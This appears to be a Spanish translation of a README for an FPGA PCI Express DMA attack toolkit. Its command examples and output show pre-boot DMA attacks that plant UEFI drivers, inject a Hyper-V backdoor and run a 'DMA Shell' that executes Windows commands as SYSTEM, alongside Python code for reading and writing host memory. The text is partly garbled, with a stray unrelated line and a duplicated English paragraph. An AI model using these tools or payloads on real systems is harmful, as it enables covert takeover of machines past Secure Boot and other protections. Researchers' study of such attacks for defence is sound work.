
Kit de hacking DIY de PCI Express para Xilinx SP605. Este repositorio también alberga Hyper-V Backdoor y Boot Backdoor, consulta el readme para enlaces e información.
Información general
Contenido
Configuración de la placa SP605
Configuración del software
Ejemplos
Uso de la API de Python
Ataques DMA prácticos
Ataques a la Option ROM
Solución de problemas
Compilación del proyecto desde el código fuente
Este repositorio contiene un conjunto de herramientas y pruebas de concepto relacionadas con el bus PCI-E y los ataques DMA. Incluye un diseño HDL que implementa un dispositivo endpoint PCI-E gen 1.1 controlable por software para el kit de evaluación Xilinx SP605 con FPGA Spartan-6. En comparación con el popular USB3380EVB, este diseño permite operar con paquetes TLP (Transaction Level Packets) sin procesar del bus PCI-E y realizar operaciones completas de lectura/escritura de memoria de 64 bits. Para demostrar casos de uso aplicados del diseño, hay una herramienta para ataques DMA de pre-arranque en máquinas basadas en UEFI que permite ejecutar controladores UEFI DXE arbitrarios durante la inicialización de la plataforma.
Hay un programa que muestra cómo usar ataques DMA de pre-arranque para inyectar un backdoor de Hyper-V VM exit handler en Windows 10 y 11 con seguridad basada en virtualización habilitada y que se ejecutan en una plataforma con UEFI Secure Boot habilitado. El PoC de Hyper-V Backdoor proporcionado puede ser útil para fines de ingeniería inversa y desarrollo de exploits; proporciona una interfaz para inspeccionar el estado del hipervisor (VMCS, memoria física/virtual, registros, etc.) desde la partición invitada y realizar ataques de escape de VM de invitado a host.
Otro programa muestra cómo usar ataques DMA de pre-arranque para inyectar código arbitrario en modo usuario o modo kernel en el sistema operativo Windows mediante el secuestro de su proceso de arranque usando Boot Backdoor. Este programa también puede funcionar con DMA Shell − es un payload de Boot Backdoor que permite ejecutar comandos de consola a través del dispositivo PCI-E malicioso, transferir archivos y cargar ejecutables de terceros en el sistema operativo objetivo en tiempo de ejecución.
💾 La parte de Hyper-V Backdoor de este proyecto tiene muchas otras características y opciones de implementación además de las descritas en este documento; puedes usarla por separado de las herramientas de ataque DMA, incluso sin ningún hardware especial: consulta su documentación
💾 La parte de Boot Backdoor de este proyecto tiene muchas otras características y opciones de implementación además de las descritas en este documento; puedes usarla por separado de las herramientas de ataque DMA, incluso sin ningún hardware especial: consulta su documentación
💾 Las herramientas Python de este proyecto y los diseños FPGA para las placas SP605, ZC706 y PicoEVB también se pueden usar para implementar SMM Backdoor Next Gen con ataques DMA de pre-arranque. Consulta su documentación para más detalles técnicos.
🛠️ Las herramientas Python y los payloads de este proyecto, incluidos Hyper-V Backdoor y Boot Backdoor, también se pueden usar con placas basadas en el SoC Xilinx Zynq-7000. Existe un proyecto separado de diseño de ataques DMA para el kit de evaluación Xilinx ZC706.
🛠️ Las herramientas Python y los payloads de este proyecto, incluidos Hyper-V Backdoor y Boot Backdoor, también se pueden usar con la placa de desarrollo PicoEVB. Existe un proyecto Pico DMA aparte − un implante de hardware totalmente autónomo para ataques DMA de pre-arranque en la ranura M.2 que puede ejecutar controladores UEFI DXE arbitrarios como payload.
s6_pcie_microblaze.xise − Archivo de proyecto de Xilinx ISE.
microblaze/pcores/axis_pcie_v1_00_a/ − Módulo periférico personalizado que permite conectar el bloque de endpoint PCI Express integrado de la FPGA Spartan-6 como flujo de TLP sin procesar al núcleo del procesador soft MicroBlaze.
sdk/srec_bootloader_0/ − Bootloader simple para el procesador soft MicroBlaze; utiliza el formato de imagen SREC y la memoria flash lineal integrada de la SP605 para cargar y almacenar el programa principal de MicroBlaze.
sdk/main_0/ − Programa principal para el procesador soft MicroBlaze; reenvía paquetes TLP sin procesar del bus PCI-E a la conexión TCP mediante el puerto Ethernet integrado de la SP605 y la pila de red lwIP.
python/pcie_lib.py − Librería Python para interactuar a través de la red con el programa principal de MicroBlaze que se ejecuta en la placa SP605; implementa varias abstracciones de bajo y alto nivel para trabajar con el nivel TLP de PCI-E desde código Python.
python/pcie_mem.py − Programa de línea de comandos que vuelca la RAM del host a la pantalla o a un archivo de salida mediante el envío de TLPs MRd.
python/pcie_mem_scan.py − Programa de línea de comandos que escanea el host objetivo en busca de rangos de memoria física accesibles a través del bus PCI-E; es útil para una auditoría de seguridad de plataformas con IOMMU habilitada (ejemplos: , , , ).
El documento Xilinx UG526, también conocido como Guía de usuario de hardware SP605, es tu mejor amigo si quieres conocer más detalles sobre el uso y la configuración de esta excelente placa.
Para cargar el bitstream desde el chip de flash SPI integrado, debes configurar la SP605 colocando los interruptores SW1 en la posición 1-ON, 2-OFF.
Ahora debes escribir el bitstream FPGA en la flash SPI. Usa el archivo s6_pcie_microblaze.mcs si quieres hacerlo por JTAG con la ayuda de la utilidad Xilinx iMPACT (consulta este tutorial), o s6_pcie_microblaze.bin si quieres usar un programador externo de flash SPI conectado al conector J17 de la SP605 (que es la forma más rápida y cómoda).
En el caso de un programador de flash SPI compatible con flashrom, puedes usar el programa flash_to_spi.py como envoltorio de flashrom:```
$ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin
Using region: "main".
Calibrating delay loop... OK.
Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi.
Reading old flash chip contents... done.
Erasing and writing flash chip...
Warning: Chip content is identical to the requested image.
Erase/write done.
3) El archivo bitstream que se escribió en la flash SPI en el paso anterior incluye un bootloader personalizado para el núcleo MicroBlaze (consulte [bootloader.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/srec_bootloader_0/src/bootloader.c) para más detalles). Este bootloader permite configurar las opciones de la placa y escribir el programa principal en la flash lineal a través del puerto UART de la SP605.
Para iniciar MicroBlaze en el modo de actualización, debe desconectar el programador de flash SPI y encender la placa manteniendo pulsado el pulsador `SW4`; suelte `SW4` cuando el LED `DS6` que indica el modo de actualización activo se encienda.
4) Para escribir el programa principal (consulte [main.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/main_0/src/main.c) para más detalles) en la flash lineal, necesita conectar su ordenador al puerto USB del puente UART de la SP605 y ejecutar el programa `bootloader_ctl.py` con la opción `--flash`:```
$ easy_install pyserial
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --flash sdk/main_0/Debug/main_0.srec
[+] Opening device "/dev/ttyUSB0"...
[+] Flasing 339852 bytes from "sdk/main_0/Debug/main_0.srec"...
Erasing flash...
Writing 0x100 bytes at 0x00100000
Writing 0x100 bytes at 0x00100100
...
Writing 0x100 bytes at 0x00152e00
Writing 0x8c bytes at 0x00152f00
[+] DONE
bootloader_ctl.py con la opción --config:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472
[+] Opening device "/dev/ttyUSB0"...
[+] Updating board settings...Address: 192.168.2.247 Netmask: 255.255.255.0 Gateway: 192.168.2.1 Port: 28472
Erasing flash... Writing 0x12 bytes at 0x00000000 [+] DONE
6) Ahora puedes salir del modo de actualización y arrancar el programa principal de MicroBlaze desde la flash lineal:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --boot
[+] Opening device "/dev/ttyUSB0"...
[+] Exitting from update mode...
SREC Bootloader
Loading SREC image from flash at address: 42000000
Executing program starting at address: 00000000
Loading settings from flash...
[+] Address: 192.168.2.247
[+] Netmask: 255.255.255.0
[+] Gateway: 192.168.2.1
auto-negotiated link speed: 100
start_application(): TCP server is started at port 28472
El programa principal imprime sus mensajes de error en la UART integrada; puede usar la opción --console de bootloader_ctl.py para monitorear estos mensajes en tiempo real.
Conecte la SP605 a la ranura PCI-E de la computadora de destino y enciéndala. Cuando el enlace PCI-E se haya establecido correctamente, verá los LEDs DS3 y DS4 encendidos.
Ejecute el comando lspci en la computadora de destino para asegurarse de que su sistema operativo esté viendo su placa como un dispositivo PCI-E adecuado:```
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
Notas relacionadas con JTAG: SP605 tiene interfaz USB a JTAG integrada compatible con iMPACT y otras herramientas de Xilinx. Sin embargo, no es muy buena, así que si planeas usar el JTAG integrado para programar la flash SPI como se describe en el tutorial de Xilinx, tienes que hacer lo siguiente:
* Retira cualquier hardware conectado a la ranura FMC de la SP605 mientras trabajas con JTAG.
* En la configuración de Xilinx iMPACT, ajusta la interfaz JTAG para usar una velocidad de 750 KHz (a velocidades más altas funciona de forma inestable).
La placa Xilinx SP605 también se puede conectar al puerto externo Thunderbolt 2/3 de la computadora de destino mediante [chasis de expansión Thunderbolt a PCI-E](https://www.amazon.com/s/ref?field-keywords=thunderbolt+to+pcie). Ten en cuenta que la SP605 es [una placa relativamente grande](https://www.xilinx.com/support/answers/53808.html), por lo que podría no caber en algunos chasis. Por ejemplo, yo uso el [HighPoint RocketStor 6361A](http://www.highpoint-tech.com/USA_new/series_RS6361A_overview.htm), un gabinete Thunderbolt 2 que funciona bien con mi MacBook Pro.
## Configuración del software
Las herramientas de Python para interactuar con la placa y la implementación reducida de la capa de transacción PCI-E se encuentran en la carpeta `python`. Debido a que el programa principal de MicroBlaze usa una conexión TCP para transferir paquetes TLP, no se necesitan controladores ni dependencias de terceros; puedes usar el código de Python proporcionado en cualquier sistema operativo.
Para configurar la dirección IP y el puerto de la placa de destino, edita la variable `PCIE_TO_TCP_ADDR` en el archivo `python/pcie_lib_config.py`.
## Ejemplos
Información sobre el dispositivo PCI-E implementado por el bitstream FPGA proporcionado (tal como lo ve la computadora de destino):```
$ lspci -vvs 01:00.0
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
Subsystem: Xilinx Corporation Default PCIe endpoint ID
Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
Interrupt: pin A routed to IRQ 11
Region 0: Memory at f7d00000 (32-bit, non-prefetchable) [disabled] [size=1M]
Capabilities: [40] Power Management version 3
Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME-
Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+
Address: 0000000000000000 Data: 0000
Capabilities: [58] Express (v1) Endpoint, MSI 00
DevCap: MaxPayload 512 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited
ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+
MaxPayload 128 bytes, MaxReadReq 512 bytes
DevSta: CorrErr+ UncorrErr- FatalErr+ UnsuppReq- AuxPwr- TransPend-
LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited
ClockPM- Surprise- LLActRep- BwNot-
LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk-
ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
Capabilities: [100 v1] Device Serial Number 00-00-00-01-01-00-0a-35
Ejemplo de dispositivo PCI-E como se muestra en la información de hardware de Apple macOS cuando está conectado al puerto Thunderbolt 2 de MacBook Pro:
En el lado del atacante, puede usar el programa pcie_cfg.py para ver los registros del espacio de configuración del dispositivo PCI-E:```
$ ./pcie_cfg.py
[+] PCI-E link with target is up
[+] Device address is 03:00.0
VENDOR_ID = 0x10ee
DEVICE_ID = 0x1337
COMMAND = 0x0
STATUS = 0x10
REVISION = 0x0
CLASS_PROG = 0x0
CLASS_DEVICE = 0x200
CACHE_LINE_SIZE = 0x10
LATENCY_TIMER = 0x0
HEADER_TYPE = 0x0
BIST = 0x0
BASE_ADDRESS_0 = 0x90500000
BASE_ADDRESS_1 = 0x0
BASE_ADDRESS_2 = 0x0
BASE_ADDRESS_3 = 0x0
BASE_ADDRESS_4 = 0x0
BASE_ADDRESS_5 = 0x0
CARDBUS_CIS = 0x0
SUBSYSTEM_VENDOR_ID = 0x10ee SUBSYSTEM_ID = 0x7 ROM_ADDRESS = 0x0 INTERRUPT_LINE = 0xff INTERRUPT_PIN = 0x1 MIN_GNT = 0x0 MAX_LAT = 0x0
4. Usar instancias preferentes (spot)```
$ ./pcie_cfg.py -x
[+] PCI-E link with target is up
[+] Device address is 03:00.0
0000: 0x10ee 0x1337
0004: 0x0000 0x0010
0008: 0x0000 0x0200
000c: 0x0010 0x0000
0010: 0x0000 0x9050
0014: 0x0000 0x0000
0018: 0x0000 0x0000
001c: 0x0000 0x0000
0020: 0x0000 0x0000
0024: 0x0000 0x0000
0028: 0x0000 0x0000
002c: 0x10ee 0x0007
0030: 0x0000 0x0000
0034: 0x0040 0x0000
0038: 0x0000 0x0000
003c: 0x01ff 0x0000
...
Aquí hay un ejemplo de volcado de 0x80 bytes de la memoria física del equipo objetivo comenzando desde la dirección cero usando el programa pcie_mem.py:```
$ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80
TLP TX: size = 0x04, source = 01:00.0, type = MRd64
tag = 0x00, bytes = 0x84, addr = 0x00000000
0x20000021 0x010000ff 0x00000000 0x00000000
TLP RX: size = 0x23, source = 00:00.0, type = CplD tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0
0x4a000020 0x00000084 0x01000000
0xf3ee00f0 0xf3ee00f0 0xc3e200f0 0xf3ee00f0
0xf3ee00f0 0x54ff00f0 0x053100f0 0xfe3000f0
0xa5fe00f0 0xe40400e8 0xf3ee00f0 0xf3ee00f0
0xf3ee00f0 0xf3ee00f0 0x57ef00f0 0x53ff00f0
0x140000c0 0x4df800f0 0x41f800f0 0x59ec00f0
0x39e700f0 0xd40600e8 0x2ee800f0 0xd2ef00f0
0x00e000f0 0xf2e600f0 0x6efe00f0 0x53ff00f0
0x53ff00f0 0xa4f000f0 0xc7ef00f0 0xb19900c0
TLP RX: size = 0x04, source = 00:00.0, type = CplD tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0
0x4a000001 0x00000004 0x01000000
0xf3ee00f0
00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................ 00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0.. 00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................ 00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S... 00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y... 00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9............... 00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S... 00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............
Ejemplo de cómo guardar la memoria física en el archivo:```
./pcie_mem.py 0x14000000 0x8000 dumped.bin
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Reading 0x14000000
[+] Reading 0x14001000
[+] Reading 0x14002000
[+] Reading 0x14003000
[+] Reading 0x14004000
[+] Reading 0x14005000
[+] Reading 0x14006000
[+] Reading 0x14007000
[+] Reading 0x14008000
32768 bytes written into the dumped.bin
Provided Python software uses some environment variables to override default values of certain options:
DEBUG_TLP − If set to 1 print TX and RX TLP packets dump into the standard output.
TARGET_ADDR − <address>:<port> string to override IP address of the board specified in python/pcie_lib_config.py file.
Python library pcie_lib.py provides low level API to send and receive PCE-E TLP packets along with abstractions for different TLP types and high level physical memory access API.
The following program demonstrates how to work with raw TLPs using pcie_lib.py:
El software Python proporcionado utiliza algunas variables de entorno para sobrescribir los valores predeterminados de ciertas opciones:
DEBUG_TLP − Si se establece en 1, imprime el volcado de paquetes TLP TX y RX en la salida estándar.
TARGET_ADDR − cadena <address>:<port> para sobrescribir la dirección IP de la placa especificada en el archivo python/pcie_lib_config.py.
La biblioteca Python pcie_lib.py proporciona una API de bajo nivel para enviar y recibir paquetes TLP PCE-E, junto con abstracciones para diferentes tipos de TLP y una API de acceso a memoria física de alto nivel.
El siguiente programa demuestra cómo trabajar con TLPs en bruto usando pcie_lib.py:```python
from pcie_lib import *
dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))
bus_id = dev.get_bus_id()
tlp_tx = [ 0x20000001, # TLP type and data size 0x000000ff | (bus_id << 16), # requester ID 0x00000000, # high dword of physical memory address 0x00001000 ] # low dword of physical memory address
dev.write(tlp_tx)
tlp_rx = dev.read(raw = True)
print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))
assert (tlp_rx[0] >> 24) & 0xff == 0x4a
print('%.8x' % tlp_rx[3])
dev.close()
Trabajando con TLPs usando abstracciones de alto nivel más convenientes:```python
# MRd TLP request which reads 1 dword of memory at address 0x1000
tlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4)
# send TLP
dev.write(tlp_tx)
# receive root complex reply
tlp_rx = dev.read()
# check for CplD TLP
assert isinstance(tlp_rx, dev.PacketCplD)
# print readed dword
print('%.8x' % tlp_rx.data[0])
Acceso a la memoria física con API de alto nivel:```python
dev.mem_write(0x1000, '\xAA' * 0x10)
dev.mem_write_8(0x1000, 0) dev.mem_write_4(0x1000, 0) dev.mem_write_2(0x1000, 0) dev.mem_write_1(0x1000, 0)
print(repr(dev.mem_read(0x1000, 0x10)))
print('%.16x' % dev.mem_read_8(0x1000)) print('%.8x' % dev.mem_read_4(0x1000)) print('%.4x' % dev.mem_read_2(0x1000)) print('%.2x' % dev.mem_read_1(0x1000))
## Ataques DMA prácticos
Uno de los principales objetivos de este proyecto es proporcionar un conjunto flexible y conveniente de herramientas para realizar los llamados ataques DMA de pre-arranque, que en comparación con los ataques DMA regulares apuntan al entorno de pre-arranque de la fase UEFI DXE de la inicialización de la plataforma en lugar del propio sistema operativo. Dichos ataques permiten ejecutar código malicioso en etapas relativamente tempranas cuando el [IOMMU](https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit) y otras características de seguridad del sistema operativo aún no están inicializados.
<img src="https://assets.kitploit.com/production/public/readmes/47570/6a87a76c672dc69ade501714127d61c89fb94cc82f3593bf9480275fe539169e.jpg" width="610">
Los ataques DMA de pre-arranque permiten eludir diversas características de seguridad del firmware de la plataforma como el arranque seguro UEFI o [Intel Boot Guard](https://edk2-docs.gitbook.io/understanding-the-uefi-secure-boot-chain/secure_boot_chain_in_uefi/intel_boot_guard).
El programa en Python `uefi_backdoor_simple.py` inyecta un controlador UEFI DXE ficticio ubicado en la carpeta `payloads/DmaBackdoorSimple` en la secuencia de arranque del sistema objetivo mediante el ataque DMA de pre-arranque descrito anteriormente. Para usar este programa tienes que realizar los siguientes pasos:
1) Apaga el ordenador objetivo.
2) Conecta la placa SP605 al puerto PCI-E (o Mini PCI-E, o M.2) del ordenador objetivo.
3) Enciende la placa y asegúrate de que el firmware Microblaze se inicializó correctamente haciendo ping a una dirección IP que se especificó durante la configuración de la placa con el programa `bootloader_ctl.py`.
4) Ejecuta el siguiente comando para iniciar el ataque DMA de pre-arranque:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
Un ejemplo de la salida de consola de uefi_backdoor_simple.py después del ataque exitoso:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] TSEG is somewhere around 0xd7000000
[+] PE image is at 0xd6260000
[+] EFI_SYSTEM_TABLE is at 0xd61eaf18
[+] EFI_BOOT_SERVICES is at 0xd680aa00
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18
Backdoor image size is 0x1240
Backdoor entry RVA is 0x31c
Planting DXE stage driver at 0x10000...
Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c
0.780202 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed
[+] DONE
Este controlador UEFI DXE ficticio junto con el programa `uefi_backdoor_simple.py` puede utilizarse como proyecto base para implementar varios ataques como la inyección de código malicioso en el cargador de arranque del sistema operativo, el kernel o el hipervisor.
También hay otro programa Python − `uefi_backdoor_hv.py`, que inyecta una puerta trasera del manejador de salida de VM de Hyper-V ubicada en la carpeta `payloads/DmaBackdoorHv` en la secuencia de arranque del sistema objetivo exactamente de la misma manera que el anterior controlador UEFI DXE ficticio. Aquí hay un ejemplo de su uso:```
$ ./uefi_backdoor_hv.py --driver payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Looking for DXE driver PE image...
[+] PE image is at 0x77160000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x2c20
Backdoor entry RVA is 0xbd4
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0bd4
3.611646 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for Hyper-V load...
[+] Hyper-V image was loaded
Hyper-V image base: 0xfffff8072d690000
Image entry: 0xfffff8072d901360
VM exit handler: 0xfffff8072d8add90
[+] DONE
El driver UEFI DXE de Hyper-V Backdoor también imprime sus mensajes de depuración en la pantalla. Además, puedes usar la opción --debug-output de uefi_backdoor_hv.py para leer estos mensajes de depuración desde la memoria física del sistema de destino e imprimirlos en stdout:```
$ ./uefi_backdoor_hv.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79db3000
DmaBackdoorHv.c(1018) : ****************************** DmaBackdoorHv.c(1019) : DmaBackdoorHv.c(1020) : Hyper-V backdoor loaded! DmaBackdoorHv.c(1021) : DmaBackdoorHv.c(1022) : ****************************** DmaBackdoorHv.c(1055) : Image address is 0xc0000 DmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260 DmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000 DmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364 DmaBackdoorHv.c(819) : BackdoorEntryResident() DmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477 DmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487 DmaBackdoorHv.c(447) : winload.dll is at 0x8ee000 DmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10 DmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9 DmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\mcupdate_GenuineIntel.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hvix64.exe" HyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000 HyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes) HyperV.c(425) : HyperVHook(): Code section RVA is 0x200000 HyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90 HyperV.c(605) : HyperVHook(): Backdoor code size is 684 bytes DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\kdstub.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hv.exe" DmaBackdoorHv.c(560) : new_ExitBootServices() called
Para obtener más información sobre los casos de uso y las características de Hyper-V Backdoor, [consulta su archivo README](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorHv/README.MD) con información detallada.
Los programas Python `uefi_backdoor_boot.py` y `uefi_backdoor_boot_shell.py` se utilizan para inyectar Boot Backdoor en la secuencia de arranque del sistema de destino. Boot Backdoor permite ejecutar código arbitrario en modo de usuario o modo kernel bajo el sistema operativo Windows, y su payload llamado DMA Shell permite ejecutar comandos de consola y transferir archivos. Para implementar Boot Backdoor con DMA Shell mediante un ataque DMA de pre-arranque, tienes que realizar los mismos pasos descritos anteriormente pero usando el programa `uefi_backdoor_boot_shell.py`:```
$ ./uefi_backdoor_boot_shell.py --command "whoami"
[+] 44544 bytes of payload image read
[+] 21299 bytes of payload image after the compression
[+] Using UEFI system table hook injection method
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Looking for DXE driver PE image...
[+] PE image is at 0x7a070000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x14847
Backdoor entry RVA is 0x908
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0908
1.759079 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for backdoor load...
[+] Winload image was loaded
Image base: 0x0086a000
OslArchTransferToKernel: 0x009c4b20
[+] DONE
[+] Waiting for payload init...
[+] Payload shared memory region is at 0x00200000
[+] Executing command: whoami
[+] Process exit code: 0x00000000
nt authority\system
Ahora, cuando Boot Backdoor con su payload se haya cargado correctamente, puedes ejecutar uefi_backdoor_boot_shell.py con la opción --attach para comunicarte con la instancia actualmente en ejecución de DMA Shell:```
$ ./uefi_backdoor_boot_shell.py --attach --command "hostname"
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Payload shared memory region is at 0x00200000
[+] Executing command: hostname
[+] Process exit code: 0x00000000
DESKTOP-E52IJJ8
Además, puedes usar la opción `--debug-output` para obtener mensajes de depuración del driver Boot Backdoor UEFI DXE e imprimirlos en stdout:```
$ ./uefi_backdoor_boot_shell.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79da2000
DmaBackdoorBoot.c(630) : ******************************
DmaBackdoorBoot.c(631) :
DmaBackdoorBoot.c(632) : Boot backdoor loaded!
DmaBackdoorBoot.c(633) :
DmaBackdoorBoot.c(634) : ******************************
DmaBackdoorBoot.c(668) : Image address is 0xc0000
DmaBackdoorBoot.c(711) : Payload is not present
DmaBackdoorBoot.c(276) : BackdoorImageRealocate(): image size = 0xf500
DmaBackdoorBoot.c(722) : Resident code base address is 0x79d8c000
DmaBackdoorBoot.c(430) : Protocol notify handler is at 0x79d8c364
DmaBackdoorBoot.c(455) : BackdoorEntryResident()
DmaBackdoorBoot.c(464) : ExitBootServices() hook was set, handler = 0x79d8ded7
DmaBackdoorBoot.c(358) : new_ExitBootServices() called
Winload.c(419) : WinloadHook(): winload image is at 0x86a000
Winload.c(507) : winload!HvlpBelow1MbPage is at 0xa037c8
Winload.c(508) : winload!HvlpBelow1MbPageAllocated is at 0xa037b9
Winload.c(587) : winload!OslArchTransferToKernel() is at 0x9c4b20
Para obtener más información sobre los casos de uso y las características de Boot Backdoor, consulta su archivo README con información detallada.
Los programas Python uefi_backdoor_simple.py, uefi_backdoor_hv.py, uefi_backdoor_boot.py y uefi_backdoor_boot_shell.py admiten dos formas diferentes de pasar la ejecución a la imagen del driver UEFI DXE inyectado:
Secuestro de EFI_SYSTEM_TABLE − escanea la memoria del sistema hacia abajo desde la dirección física 0xf0000000 hasta 0 con un paso de 0x10000 bytes para encontrar la tabla de sistema EFI por su firma y parchear la dirección de la función LocateProtocol(). Para anular las opciones de escaneo de memoria, puedes usar las variables de entorno SCAN_FROM y SCAN_STEP.
Secuestro de PROTOCOL_ENTRY − escanea la memoria del sistema hacia arriba desde la dirección física 0x76000000 hasta 0xa0000000 con un paso de 0x1000 bytes para encontrar la estructura EFI_CPU_IO2_PROTOCOL del protocolo CPU I/O 2 y parchear una de sus funciones. Para anular las opciones de escaneo de memoria, puedes usar las variables de entorno , y .
Por defecto, los cuatro programas usan el método de secuestro de la tabla de sistema EFI; para usar el método de entrada de protocolo en su lugar, puedes pasar la opción de línea de comandos --inj-prot al programa correspondiente. Para reducir la cantidad de tiempo necesaria para realizar el ataque, puedes especificar la dirección de la estructura EFI_SYSTEM_TABLE encontrada previamente usando la opción --system-table y la dirección de la estructura PROTOCOL_ENTRY usando la opción --prot-entry. Además, los cuatro programas Python tienen la opción de línea de comandos --test; esta opción se usa para realizar el escaneo de memoria y encontrar las direcciones de las estructuras requeridas sin realizar un secuestro real del flujo de ejecución. Por lo tanto, durante el primer arranque puedes ejecutar el programa deseado con la opción --test para encontrar la dirección necesaria, y durante el segundo arranque puedes ejecutar el mismo programa con la opción --system-table o --prot-entry para especificar esa dirección.
